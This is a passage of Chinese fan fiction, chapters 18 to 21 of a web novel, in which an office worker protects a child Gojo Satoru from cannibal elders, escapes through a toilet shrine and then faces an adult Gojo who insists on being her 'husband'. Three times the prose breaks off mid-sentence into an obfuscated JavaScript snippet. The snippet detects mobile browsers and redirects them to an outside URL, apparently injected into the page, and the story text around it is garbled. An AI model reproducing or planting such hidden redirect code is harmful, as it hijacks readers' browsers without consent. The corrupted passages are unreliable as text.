——就是有你在才麻烦啊,五条悟缓缓挪开视线,若是只有他一个人,哪怕咒力被封,总归能想办法脱身,偏偏他现在咒力全无,还要顾及一个更加弱小的社畜。 但比起逃避,他也更想去看看。 不管前方等待他们的是什么,他想更接近一切的真相。 楼道幽暗而狭长,安静得只能听见他们两个的脚步和衣物摩挲声。 社畜怀疑五条悟都能听见她肠胃蠕动的空响,悄悄捂住了肚子,后悔没有坚定地去吃点东西。 五条悟先开口:“你觉得……这个世界,究竟是怎么回事?” 社畜毫不犹豫地说:“是个RPG游戏吧?” “不……”五条悟果断否决,“这个世界有着咒力,而且咒力非常单一,你明白吗?对于我的六眼而言,每个人的咒力都有着独特的质感和气味,但是这个世界……有那么多地方都有着咒力和残秽,可是,它们全都……一模一样。” 只有一个可能,这个世界完全是一个人用咒术建造起来的幻境。 有一件事情五条悟没说,他怕引起社畜不必要的怀疑,这个咒力莫名让他有股熟悉感,和自己的咒力很像,但是又不太一样,不过在六眼的辨别能力下,完全不会混作一谈。 社畜思考两秒,然后理所当然地点头:“嗯,很合理,这个游戏就是有点敷衍,到处都在偷工减料,比如说给所有东西都起非常直白不动脑子的名字啦,用着批量复制粘贴生成的素材啦……” 这样吗…… 五条悟陷入沉思,他原本推测这是个咒力构筑的世界,而没有咒力的社畜或许是偶然触发了某种可以召唤他的方式,比如符咒或者咒具。 不对,他如今隐隐察觉到,社畜有一种能用自己的理解方式去接受一切设定的奇妙能力,再这么下去,自己反而要被她的脑回路带偏了。 沉思间,灯台已经越来越密,制式也越来越精致华丽,灯座上细密的金属雕花反射着忽明忽暗的亮光,让社畜和五条悟的影子也摇摇晃晃。 尽头,一扇古朴的大门静静地立在那里,厚重的门上铸满了坚硬的门钉,看起来既森严,又禁忌。 社畜把手放在门上,向五条悟投去一个动摇的眼神,五条悟点点头示意她放心,社畜深吸一口气,“刷”地一下把门拉开。 门后是一个昏暗的房间,只在天花板中央悬着一个灯台,在地面投下一片扭曲重叠的阴影。 更诡异的是,里面空无一人,只有一排扇形排开的屏风。 “进来,把门关上。” 从某扇屏风后面,忽然传来一个苍老低沉的男声。 18.伙伴悟 门被关上后,昏暗的房间内一片寂静。 从另一扇屏风后又缓慢响起一个沙哑的声音:“这是你的初始伙伴吗?” 社畜老实地回答:“是的。” 屏风后有一阵小小的骚动。 似乎每扇屏风后都坐着一个人,他们发出一阵愉快的笑声,声音有大有小,声线也不同,但都是男性,而且是如出一辙的苍老干涩。 “初始伙伴,真是珍贵的存在呢。” “毕竟既是缘分,也是互相坚定选择的爱啊。” “所以初始伙伴的价值才这么高。” “哎哟,说得老身都有点怀念自己的初始伙伴了。” 社畜的脸上勉强挤出一丝礼貌的微笑。 也有人把话题转移到社畜和五条悟身上。 “不过能这么快培育出成熟体,倒是真的少见,小姑娘很有天分嘛。” “我倒是觉得她的伙伴更有天分一点,这么像人的成熟体,已经好久没见到过了。” ……听起来都挺和善的,就是感觉有点不把五条悟当人看。 社畜收起笑容,担忧地瞥了一眼五条悟,发现他正满脸无聊地抬眼盯着顶上的灯台,似乎对这一幅场景有些说不出的厌烦,纤长的白色睫毛在脸上投下一片黑羽般的模糊阴影。 老人们自顾自地聊了会儿天。 “安静。” 一个权威的声音淡淡响起,房间里瞬间归于沉寂。 是要颁发通关奖励了吗?社畜精神一振,连忙竖起耳朵,屏住呼吸。 “准备一下——” 嗯嗯。社畜挺直腰板,在心中高呼她已经准备好了。 “可以吃掉五条悟了。” * “啊?什么?”社畜掏掏耳朵,怀疑是自己听错了。 苍老的声音十分镇定,他很有耐心地又重复了一遍:“可以吃掉五条悟了。” 社畜感觉自己一定是饿晕出现了幻觉,她惊恐的目光看向五条悟,却发现五条悟也皱着眉看她,对事情发展十分不解的样子。 ……难道说,是文化差异导致的理解障碍? 比如说在这个小村庄,“吃”其实是某种象征性的用法?不能按照字面意义来理解。 社畜试探地开口:“那个……‘吃’是什么意思啊?是什么仪式吗?具体是什么流程?” “可以算是一个仪式。”从左侧的屏风后面传来一个声音。 什么嘛,果然是她理解错了,社畜松了一口气,冲五条悟鼓励地笑了笑。 “要说有什么流程的话……虽然炸炒烹炖蒸煮焖煨烧扒煎各有风味,但是这么珍贵的食材,果然还是生吃最能保存营养呀。” 说完,几个屏风后面都传来了笑声。 社畜的笑容却僵在了脸上。 这完全不对吧。 她压下心头的恐惧与反胃:“你们的意思是……吃人?” 空气短暂地凝固了一瞬。 “真是一代不如一代了!”有一个愤怒的声音率先发难,尖锐地响起。 “就是,现在的培育师,连自己的任务和使命都搞不清楚了吗?” “太不像话了!引导员怎么教的?把她的引导员带过来!” 身后马上传来“吱——”的一声,厚重的大门再次被拉开。 门口响起一阵布料的摩挲声,社畜惊恐地回头,发现新手引导员已经低眉顺眼地跪坐在门口,双手规矩地交叠在膝上。 她非常有礼地膝行至社畜旁边,头一直没有抬起来,声音轻柔:“请原谅,是我的引导不到位,但是……我这么做,也是有理由的。” “引导员面对不同的培育师要因材施教,所以……我想……社畜小姐看起来是一个心软的人,难免会对伙伴产生不必要的情感,事先不告诉她内情,或许更有利于伙伴的健康成长。” 众长老又沉默了一瞬,只有一些小声交流的窃窃私语。 位于正中间的权威声音再次响起:“从结果看来,这个尝试是好的,那么,就由你来跟社畜讲解一下究竟是怎么回事吧。” “好的。” 引导员微微颔首,总算是站了起来,依然是社畜熟悉又温柔的笑脸,姿态优雅,神情中有些慈爱的责备,像是母亲在怪罪小孩子不懂事一样。 “哎呀,社畜,想必你也已经察觉到了吧,在野外的魔兽,有的非常凶猛,不管是体积还是力量,以人类孱弱的□□,完全无法对抗。” 屏风后面传来一些赞同的语气词。 “我们的先祖通过合作,通过掌握工具和火焰的使用方式,通过建造自我保护的房屋,在无数夹缝求生的弱小生命中,走出了一条自己的路,其中的血与汗,人类智慧与勇气的闪光,时至今日,依然让人动容。” 引导员的声线温柔,娓娓道来的故事也没有什么问题。 所以这跟吃人习俗又有什么关系啊?! “不过,时代变了——”引导员微微一笑,“现在是文明社会,不需要冒着生命危险去和野兽搏杀,我们掌握了选育魔兽的技术,通过吃下强大的魔兽,就可以获得相同的力量,操纵或者威慑别的精灵。” “你说的是魔兽吧?你刚刚说的是魔兽吧?开什么玩笑,五条悟明明是人啊!” 引导员靠得太近了,社畜说着,皱眉隔在她和五条悟之间。 “只是长得像人的魔兽罢了,虽然这种很稀少,但偶尔也是会有的,而且通常营养价值更高。” 说完,引导员拍了拍手。 从离他们最近的右侧屏风后面竟然走出了登记员,依然长袍垂地,瘦削佝偻,他手里执一本厚册,语调波澜不惊地读着上面的内容: “五条悟,源自远古魔种菅原道真的古老血统,这一品种偶尔有先天觉醒的六眼个体,营养价值极高。培育员性格随和,采用自由放任的培育方式,效果待考察。” 他轻轻合上登记册:“效果不错,是值得等待的佳肴。” 社畜:“……” 她护着五条悟往后退了两步,从神情到语气都强烈地展现出对于这番定义的抗拒:“不管你们再怎么用言语去包装,对我而言这就是吃人,我不会吃他,也不会让你们吃他的。” 引导员定定地盯着她:“这个世界,就是吃与被吃的关系啊……” 一扇屏风后面传来一声嗤笑:“你现在不吃它,等它长大了之后就要吃你。” 另一个声音听起来更加和蔼一点:“吃吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194440|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像这种级别的伙伴,吃了之后,你就也能拥有加入我们的力量和资格,再也不用辛苦做培育员了。” 这些话让社畜突然惊恐地意识到—— 引导员和登记员的身边,确实从来都没有出现过小精灵。 他们……都是吃了自己曾经的伙伴? 引导员投来不解的目光:“你为什么会这么抵触呢?之前,你们不是也吃了丸子吗?” 社畜瞳孔瞬间紧缩,胃里一阵翻江倒海:“那丸子是?” “低阶魔物做的,增益功效很有限,也只有平民会吃。” ……还好还好。 虽然也不好吃就是了…… “不一样啊,”她努力地辩解着,虽然好像是徒劳,“五条悟不管怎么看都是人吧,我和他相处了这么久,不会搞错的,你们再好好看看!一定有哪里不对!” 只有她的声音空荡荡地回响在房间里,没有一个人发出赞同的应和。 又是一阵沉默,大家似乎都在屏息等待最后的决策。 正中间的屏风传来一锤定音的判决:“不管她吃不吃,我们会吃。” 引导员住了嘴,只留给她一个悲哀的眼神。 社畜下意识地后退了几步,五条悟平静地撑住了她的后腰。 “跑吧。” 身后传来了五条悟低低的声音。 社畜回头,五条悟没有抬眼,表情平静得可怕,他小声地说:“你自己跑,不要管我,他们的咒力都不算强,我总有办法自己脱困的。” 五条悟在心中冷笑,总算明白是怎么一回事了,敌人的意图一目了然,就是冲着他来的,先是封印他的咒力,再是杀他,看来……社畜是被无辜波及。 引导员抿了抿嘴,神色犹豫,却还是说出了口:“逃跑也是没有用的,你不吃他,他很快也会死。” “什么?!”社畜和五条悟同时震惊地抬头。 “你不吃他,他也快死了,”引导员悲哀地看着她,又重复了一遍,“即使是人工培育的品种,小时候的魔物尚且可以被控制操纵,但是等魔物长大之后,我们就无法镇压它的力量,所以人工培育的品种都加入了早夭的基因,它们是长不大的,一旦成熟,如果不及时采摘,很快就会枯萎凋谢。” 言语中依然把五条悟当做某种食材。 社畜的脑袋嗡嗡作响。 看着社畜不信任的目光,她再次强调:“我说的都是实话,你马上就会发现的,也就是这几天的事了。” 房间里又沉默了一会儿。 正中央的屏风后传来一如既往威严的声音:“让她走吧,她最终还是要回来的。” 某扇屏风后面传来一句意味深长的话,意外地分辨不出年龄,又似乎还带着一丝笑意:“他长大了之后会是什么样子……世界会是什么样子……你不是……最清楚的吗?” 这句话像是什么咒语,让社畜抓住了一条通往真相的线头。 她茫然地抬头。 引导员垂着眼睫,仿佛已经遇见了结局:“等你肚子饿了……会懂的。” 社畜难受地捂住自己的肚子,后知后觉地发现,她已经有很长一段时间,都处于一种胃部甚至会传来隐隐绞痛的饥饿感之中。 19.伙伴悟 五条悟这次真的冷笑出了声,他漠然地从牙缝里挤出几个字:“现在把他们杀了,不是更干脆吗?我可以做到的。” 社畜感觉胃部的绞痛突然上升到了大脑,她眉头紧皱,头疼且忧愁地把他拖走:“小孩子不要想这些打打杀杀的事情,小孩要有小孩的样子,不然作为监护人和大人的我会很没面子的。” 知道了“培育员”的真实含义之后,社畜有些斟酌地换了个用词。 社畜不放心地回头看了一眼,真的没有人拦他们,只看见引导员低眉顺目,眉眼都隐在阴影中。 “从来没听过这种说法。”五条悟把头撇开。 “如果首领母象意外死去,象群中年轻的母象就会被迫担任首领,”社畜回过头来,大步向前走,直视前方,脊背挺直,“每个像大人的小孩,都不是因为已经准备好了才成为大人,而是因为身边没有人可以做大人,才不得不成为大人。” 五条悟抿了抿嘴,还是沉默地任由社畜把他带走了。 行走在火光摇曳的昏暗过道里,他忍不住低声开口问道:“为什么?” 社畜饿得大脑发晕,语气也恹恹的:“什么为什么?” 疑惑太多了,得一点点问,五条悟目光直视前方:“把我交出去就好了,你不是想通关吗?” “当然不行了,”社畜振振有词,“作为社畜就是要能熟练辨别领导画的大饼,他们还说吃了你我就能加入他们呢,结果一听,屏风后坐的全是老男人,这种话说出来谁信啊?” 五条悟:“……” 他隐隐开始感觉,社畜这个身份不过是她用来合理化一切的借口,具体“社畜”应该是个什么样子,全凭她随口胡诌。 五条悟垂下眼睫,声音又低了几分:“那为什么不让我解决他们。” 社畜的脚步又快了点,她没有低头看他:“他们的灵魂都已经腐朽了,可是你不一样。” 五条悟的心怦怦直跳,一步、两步,越来越快。 他跟着社畜走出阴暗的地下,眯起眼睛看温暖的落日余晖倾洒在这棵巨大的古树枝桠之上。 他忍不住晃了晃头,突然感到了一阵晕眩。 “你接下来打算怎么办?”五条悟沉着的声音依然流露出不符合年龄的成熟。 社畜抬头盯着树冠:“我们现在就走,起码要先离开这个村庄吧。” 她完全不敢看五条悟一眼。 因为,真的,很饿。 全身每一个细胞都在叫嚣着吃掉他,吵得她大脑嗡嗡作响。 吃掉他吃掉他吃掉他吃掉他…… 获得力量…… 力量…… 社畜猛地甩甩头,发誓通关后一定要去大吃特吃。 “你逃吧。”银发男孩镇定的声音中有一丝不易察觉的颤抖。 社畜:? 她脚步一顿,低头看过去,五条悟却避开了她的视线,从她的角度只能看见隐隐约约的蓝色在浓密的睫毛间隙闪烁。 五条悟:“那个人说得没错,我快死了。” 生命流逝的感觉过于真切,清晰得让人恐惧,饶是他向来自信,从不怀疑自己的实力和能力,也在此刻有一丝慌乱。 一定是因为这个女人老是把他当普通孩子对待的缘故。 五条悟:“让我回去,把他们都杀了,或许有一线转机,起码……可以让你安全地逃走。” 社畜低头看他,紧绷的小脸,晶莹的蓝眼,漠然的眼神,阳光下接近透明的银丝,小小的、悄悄攥紧的拳头。 ——他长大了之后会是什么样子? ——世界会是什么样子? 饥饿感好像……倏地消散了。 社畜没忍住摸了摸五条悟的头,这次他没有躲开。 她不容置疑地拉起五条悟:“你跟我走。” 五条悟的双眼骤然睁大,下意识地跟着走了几步:“松手,你要带我去哪?” 社畜:“去找逃离这个世界的出口。” 五条悟:“什么意思?” 社畜答非所问:“怎么想这个世界都很有问题吧,在上一个世界我就应该发现的,但是想着自己在玩游戏,一不小心就跟着游戏的思维走了。” 把npc的尸体当做道具什么的…… 社畜自说自话:“明明身为社畜,最厌恶资本家的心理和行为了,想不到自己也有把人物化当做工具的一天,还好及时清醒过来了。” 五条悟这下可以肯定,“社畜”绝对只是这个女人合理化自己胡言乱语的一个借口。 五条悟不解:“你到底在说什么?要吃我的,不是地下那群老头吗?” 社畜含糊地回答:“唔……等你长大了就明白了。” 等你长大了,进入另外那个粗糙又拙劣的世界,发现一切事物的发展都会遵循她的心意,就会发现…… 他们无可奈何地要兵刃相接,拼个你死我活。 五条悟停下脚步,无论如何也不愿意再走,脸上明显有着被敷衍的怒火:“别把我当小孩,这个世界哪有什么出口,说不定地下那群老头子中,就混着真正的敌人!” “这个世界当然有出口啊,漏洞很大呢,”社畜一本正经地看着他,“你没发现吗?” 五条悟皱眉:“发现什么?” 社畜把愣神的五条悟再度强行拖走,边走边神秘兮兮地解说:“你想啊……在这个世界……我们会肚子饿,会想吃东西,也确实吃过东西,但是,你有上过厕所吗?” 五条悟:? 不是……这…… 社畜:“只进不出,不管怎么想都很奇怪吧,而且不光是我们,你看这里的npc来来往往,却从来没有人走进过这里。” 她终于停了下来,目光坚定,抬手指向前方。 五条悟顺着她的指尖抬头看去,表情有点裂开。 这里是—— 厕所。 * 面前的厕所相当简陋,陶土的墙,顶上以茅草覆盖,唯一稍嫌古怪的地方是只有一个入口,似乎不分男女。 不知道是真的身体越来越虚弱,还是事态的发展已经超乎了他的逻辑和理智,五条悟一时有点难以接受。 社畜依然振振有词:“现实中的厕所是身体不要的排泄物的出口,这里的厕所,想必一定也是不为这个世界所容的渣滓,也就是我们的出口。” 五条悟张开嘴,想说点什么:“我……” 又是一阵晕眩。 “来不及了!” 社畜强行把他拖进了厕所。 * 两个人都睁大了眼。 和简陋的外观不符,厕所里面,相当……金碧辉煌。 尽管依然以木材为建筑主体,在起到支撑作用的廊柱上,有镶金的雕花,彩色的部分尽数由宝石和琉璃镶嵌而成,廊柱威严地向深处一字排开,抬头望去,也尽是精细的雕刻与装饰花纹。 在圣坛的上方是一个凹进去的半圆,更加精致的华盖凸显其下所坐之人的不凡。 在他们面前,那个白玉一般的圣坛,其上端坐着一个衣着奢华的女子。 她头戴斗笠,轻纱遮面,手执桧扇。 ——和之前把五条悟交到社畜手上的那个女人一模一样!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199883|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这里光线充足,社畜总算可以看清,之前以为是“十二层单衣”的繁杂衣装,还有那从斗笠上垂下来的轻纱,甚至手中桧扇的扇面—— 竟然都是轻薄如云,层层叠叠的白色厕纸。 “神……神明大人?”社畜结结巴巴地问。 “不错,”女子满意地颔首,“想不到一介凡人也可以参透天机,厕所里不仅有厕纸(kami),其实还有神明(kami)。” ……好烂的谐音梗。 五条悟感觉有一头无形的巨兽在蚕食他的五脏六腑,没有疼痛,只有身体机能逐渐丧失的无力感。 但这些痛苦都比不上他此刻晕晕乎乎的大脑。 已经站不稳了,他慢慢、慢慢地滑倒在地。 “神明大人!”社畜急切地高呼着,扶住五条悟:“请您救救这个孩子!” “可以,”神明意外地好说话,“他可以走,但是你必须留下,因为你至今没有成功通关过一个副本,所以你还不能出去。” 啊…… 社畜想起从前一个世界出来之后,选项中灰掉的【中村悠一】。 原来是因为她并没有通关,所以才不得不继续下去吗? 这么说起来……这个世界也失败了…… 她只剩下最后一次机会了? 五条悟感觉自己连五感也在逐渐丧失,先是眼前一片模糊,再是逐渐感受不到社畜紧贴着自己的身体,连她身上的气息都要察觉不到了,只剩下听力还在负隅顽抗。 想阻止社畜,却没有力气。 一片混沌中他听见社畜零碎的话语。 “好的,我留下,让他走吧。” “我们还会见面的……五条小弟弟。” “下次见面的时候……” 下次见面的时候? 社畜顿了顿,有些心虚地说:“麻烦请对我好一点。” 五条悟无力地合上双眼,一阵熟悉的光芒笼罩住他,光芒消失的时候,社畜怀中的人已经不见了。 社畜松了一口气,紧张地头脑风暴—— 下一个副本召唤出来的还会是五条悟…… 既然上次五条悟说是第二次见到她,那么大概率是比高专时期还要大一点的年纪吧…… 她都这么说了……五条悟可千万要记住她的好啊! 不要再像高专时期一样无论如何都觉得她是反派了。 说起来…… 社畜心虚地抬眼,和神明对上了视线。 台上的神明微微一笑,用桧扇撩起了遮挡脸部的轻纱。 露出的这张脸,俨然和社畜一模一样。 社畜在脑中复盘了一下刚刚的整个经过…… 应该没有露出什么破绽吧? 逻辑,合理。人设,合理。剧情,合理。甚至还有一丝冷冷的幽默感,对于厕所的定义和用处还有一点发人深省的意味,简直完美。 等下! 对于她而言,下一次见面是第三次。 可是对于五条悟而言,下一次见面是第二次啊! ……这么说起来,她刚刚那苦肉计一般的好戏,那副舍生取义,力保五条悟安全的伟大姿态,还有“对她好一点”的叮嘱,完全没有用啊! 高专时期的五条悟,态度真是烂到不行! 而她,如果选择开启第三个副本,岂不是依然要面临一个已经抓住她破绽,又对她紧追不放,一定要讨个说法,偏偏又实力恐怖、桀骜不驯的大反派五条悟了?! “啊——!” 社畜发出一声绝望的长叹,两眼无神地倒在了地上。 20.老公悟 社畜呆滞地躺在地上,任由环境变化,回到了她自己的小窝,衣服也变回原来的居家款式。 金光闪闪的对话框这次直接贴脸了。 【回流活动重磅上线!老二次元回归福利礼包,点击即送声优代表角色!更有专属副本等你开启!】 【请选择你的老公】 - 中村悠一 - 杉田智和 - 伊濑茉莉野 社畜艰难地看着“老公”两个字,揉了揉眼睛又确认了一遍,用手指点着一个字一个字地读再确认了一遍,有点不敢想象接下来她要面对的是什么。 她虚弱地开口:“不是……为什么不能继续做王道RPG游戏呢,一定要是乙女向恋爱游戏吗?” 依然无人回应。 明知道无人会回应,她还是继续吐槽:“那个……五条悟已经察觉到不对劲了,也大概明白我的目的了,可能恨不得对我除之而后快,怎么想都不会愿意当我老公的吧,说不定到时候就直接见面杀BE……这可是最后一次机会了,还是换一个吧,再说了,我也不想——” “哗啦——”,头顶传来清脆的破裂声。 一个颀长的黑色身影踏破虚空中无形的边界,闲适地插着兜,凭空从天而降,银发肆意地随风飘动。 刹那间,随着边界被打破和外来者的闯入,所有曾经丢失的、被封印的记忆悉数涌来。 社畜不由地睁大了眼,“腾”地坐了起来,连滚带爬地退到了墙角。 回过神来,天花板上……没有破洞。 空中似乎曾经有过空气诡异的波动,但是这个男人,就这么莫名其妙出现在她的面前。 “诶?不想什么?”他长腿一跨,只用一步就凑到了社畜面前,弯下腰来笑嘻嘻地问。 “你是布加拉提?钢链手指?”社畜答非所问,一脸清澈地装傻。 布加拉提的替身钢链手指可以像拉开拉链一样轻松打开空间,想必染成白发戴上眼罩的布加拉提一定是这样进来的。 五条悟完全不接话,他慢悠悠地站直,转而兴奋地围着对话框打转:“哦哦哦~原来是这样的召唤界面吗!让我看看这次是什么身份?老公?社畜小姐要召唤我来做你的老公?我在社畜小姐的心里竟然是这个形象吗?诶,突然有点害羞呢。” 讲到最后,他还真的捧住了脸,语气娇滴滴的。 社畜难以置信地看着眼前这个高大无比的男人。 五条悟竟然是这种性格吗?! 不……仔细一想,还是露出过端倪的。 “那个……”她礼貌地开口,“我好像,还没有选择要召唤的人物呢,可以麻烦你帮我点一下吗?就是唯一还亮着的那个选项哦。” “好的,不用客气~”五条悟勾着嘴角帮她点了一下【杉田智和】。 然后,无事发生。 “当当!”白发眼罩男很游刃有余地给自己配音,张开双臂做了一个“登场”的姿势,“想必召唤出来的老公大人就是我了!” 社畜仰天长啸:“不不不,怎么想你都是自己闯进来的,为什么召唤杉田智和,出来的还是你啊?!” 五条悟点着下巴:“嗯,对哦,我也很好奇,为什么召唤出来的只有我呢?” 话音刚落,本来要模糊消失的对话框又突然清晰,变成了一个视频播放窗口。 视频是一个宛如zoom会议的界面,里面有—— 三个人和一条狗。 左上角的男人装扮和眼前的五条悟一模一样,但是过于蓬松的自然卷和不够精致立体的下半张脸依然暴露了他的身份—— 《银魂》的男主,坂田银时。 银时右手食指和中指交叉,摆着一个结印一样的手势,用五条悟的声线非常愉悦地说:“在这个动画战国时代,不能领域展开也不能异世界转生的我们,为了能再赚一笔,只能抓住20周年这个机会了哟。” 播放完这句话,对话框才最终消失。 “原来如此啊,”五条悟点点头,若有所思,“原来如此,因为杉田智和模仿过我,所以也算是我的声优吗?” 社畜失意地撑地。 她本来以为,只是什么“所有银发角色都是银时扮演”的这种老梗,没想到还有这一出。 也确实是《银魂》这种没节操的剧组干得出来的事情。 但她很快坚强地站了起来:“我明白了,定春(sadaharu)。” 五条悟平静地接话:“不是定春(sadaharu),是悟(satoru)。” 社畜:“啊啊,不好意思,砂糖(satou)。” 五条悟:“不是砂糖(satou),是悟(satoru)。” 社畜:“对不起对不起,我之前加班加太久了有点精神恍惚,猴子(saru)先生。” 五条悟:“越叫越离谱了吧!不是猴子(saru),是悟(satoru)。” 社畜:“……” 她放弃挣扎:“对不起,我一向不擅长记人名字。” 五条悟无情地戳穿她:“这个借口太敷衍了,社畜小姐分明只是不想见到我罢了。” “怎么会,”社畜尴尬地笑,“是因为我认识的人太多了,随便说一个就能想起好几个重名的,所以比起人名,我更擅长记人的长相和经历啦——真的没有骗你,就在前不久,我才发现我的一个好朋友还和书里的角色重名了。” 五条悟:“哇,真巧呢。” 社畜:“所以只是一时有点反应不过来而已,你设身处地地想一想嘛,比如说,如果你想召唤一个可以控制血液的人物,你心目中的选择是?——” 社畜拖长了尾音,等待五条悟的回答。 五条悟饶有兴味地跟她玩起了问答游戏:“唔,我想想——哦!大概会是加茂家的人吧,他们的术式可以控制血液。” 说完,一副“这就是正确答案吧”的样子,得意洋洋地举起一根手指。 社畜也竖起食指:“对嘛!这就是正常的思维,结果召唤出来的是——黑尾铁朗!” 五条悟配合地惊讶:“诶?怎么回事,他不是《排球少年》中的角色吗?这又不是超能力番,为什么可以操控血液呢?” “因为——”社畜高深地收回手指,“他在赛前动员的时候会说:‘我们是血液,必须畅通无阻地流动,输送氧气,为了让大脑能正常地运作!上吧!’,所以他也被算作可以控制血液了。” 五条悟扶住下巴思考,认同地点头:“嗯嗯,这么说来,我可以理解社畜小姐的不爽了。” “不过——”他的话锋一转,无情地指出真相,“明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221245|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有的选项和可以召唤出来的角色都是社畜小姐自己设置的,换句话说,社畜小姐一开始想召唤的,不就是我吗?” 社畜:“……” 她恼羞成怒:“原来你知道啊,知道了还在这里装傻!” 五条悟依然扶着下巴,嘴角勾起一丝笑意:“因为很有意思呀,满嘴跑火车的骗子小姐。” 社畜把话题支开:“你现在的阅片量有所上升嘛。” ……连《排球少年》都知道了。 五条悟:“不如说我一直都很紧跟潮流,是骗子小姐占了时间的便宜,十年前的那个时候,中村悠一甚至都还没有配《王牌投手》。” 社畜:“所以你上一次见到我是十年前咯?” 五条悟:“是的,恭喜社畜小姐,经过十年的冷静期,上一次见面时的愤怒和不解已经被我自我消化了,现在的我就是情绪稳定的完美老公哦。” 社畜上下扫视了一圈眼前的男人,的确比起她记忆里的高专时期要成熟不少,穿着很相似的黑色制服,却拥有更明显的宽肩窄腰,肌肉可以撑起制服,而且头发拢上去之后,更显得轮廓立体,棱角分明。 话说这种上宽下紧,看起来非常老土,完全无法修饰身材的款式,也只有他这种模特一般的身材才能穿出这种高大挺拔的效果了。 她毫不客气地指向他的头发:“从刚开始见面我就想吐槽了,虽然早有预料,但是你果然变成反派了对吧。” 五条悟笑着歪头:“嗯,为什么这么说呢?” “因为反派都是这样的,”社畜确信地点头,“黑化的时候,要用神奇的发胶手把头发梳上去。” “以貌取人可不是个好习惯。” 说完,五条悟用一根修长的食指探进了眼罩内,轻轻往外一扯—— 黑色的眼罩被扯掉,细软的银发倾泻而下,露出了那双能让人忘记呼吸的璀璨蓝眼。 “完全没有黑化呢,社畜小姐。” 他这么笑着说。 ——那当然是因为你从头到尾都是黑的! 社畜一阵脸红心跳,她掩饰地捂住脸大叫:“啊啊啊原来是你,我想起来了,你是那个那个蓝眼白毛,六眼什么的。” “不要把人叫得像是游戏王里的卡牌什么青眼白龙一样啊!”五条悟不满地凑近了一步。 社畜不甘示弱地顶了回去:“这样更好记嘛。” 五条悟抱胸,带着玩味的笑意,自上而下俯视着社畜:“关于这一点,社畜小姐貌似很喜欢给人贴标签呢,不管是什么‘勇者’、‘伙伴’,还是‘问题少年’、‘反派’……这很偷懒哦,显示出社畜小姐对我这个具体的人缺乏了解的兴趣。” “你说得对,”社畜沉痛地点头,“我果然不该召唤你作为我的老公,这太先入为主了。” 五条悟:“不……这个还是可以的——” “真的不用了,”社畜很诚恳地抬头看向他,“请您回去吧,五条先生,结婚这种事情还是要慎重,我再考虑一下。” 五条悟:“婚姻最伟大的地方就是让你发现自己原来拥有选错了也不会改的勇气,接受现实吧社畜小姐。” 不管社畜说什么,五条悟永远有来有回。 她苦闷地深吸一口气。 变成大人的五条悟……战斗力……也变强太多了! 21.老公悟 “还是有改正错误的机会的,这就是离婚也存在的必要性。”社畜实事求是地说。 五条悟完全就像是一个不讲理的丈夫,无情地否决:“离婚也要两个人都同意才行,我不同意。再说了,当初可是社畜小姐一定要结婚的。” 完全没有这回事! 社畜愤愤不平地想,她根本就还没有开始召唤,是五条悟自己强行闯了进来。 她也像是在婚姻中心灰意冷、爱意完全消散的妻子,更加冷酷无情地说:“不可能,你完全不是我喜欢的类型。” “社畜小姐喜欢什么样的?”五条悟雪白的长睫眨了两下。 社畜努力在心里想象五条悟便秘拉不出屎的样子,才能镇定地说出口:“我喜欢纯情、笨拙一点,不那么会卖弄自己男性魅力的那种类型。” 眼前的男人无疑一呼一吸都在卖弄着自己的男性魅力,但他依然故作天真地说:“诶,那不就是我~算起来,社畜小姐可是我的初恋。” 若非深知五条悟的底细,这么漂亮的一张脸说出自己从来没有女朋友,社畜是绝对不信的。 “这样啊,”社畜火速改口,“我比较喜欢有情感经历的男人,没有谈过恋爱的话,会带有一些对亲密关系不切实际的幻想,磨合起来有点累。” “很好啊,”五条悟满意地点了点头,“那你一定会喜欢上我这款熟男类型的麻辣教师。” 社畜:“……” “对不起……我还是不能接受……”她垂下视线,绞尽脑汁地想着更多借口,“对于我而言,我和五条先生只认识了几天而已,这个发展太快了,我觉得我们还需要多了解一下。” 五条悟伸出两根手指:“对我而言可是二十年,我们两个平均一下——” 他收回一根手指:“也算是认识十年了。” 社畜:“根本不能这么平均吧?!超能力果然无法让人通过数学考试啊!满脑子肌肉只会打架的猩猩先生。” 这番攻击完全无法冒犯到五条悟,他反而露出一个能激怒社畜的得意笑容:“要是你说英语考试我可能还会犹豫一下,但是数学的话,真不好意思,刚好是我擅长的部分。” 但这也正中社畜下怀,她摆出一副为五条悟着想的表情,恳切地说:“你看,我们随便聊两句话就这么火药味十足,这个婚姻会很不幸的,我们果然还是不合适吧。” “不会哦,”五条悟的语气一如既往地轻快,“我觉得这样跟社畜小姐聊天很有趣呢。” 社畜:“……” 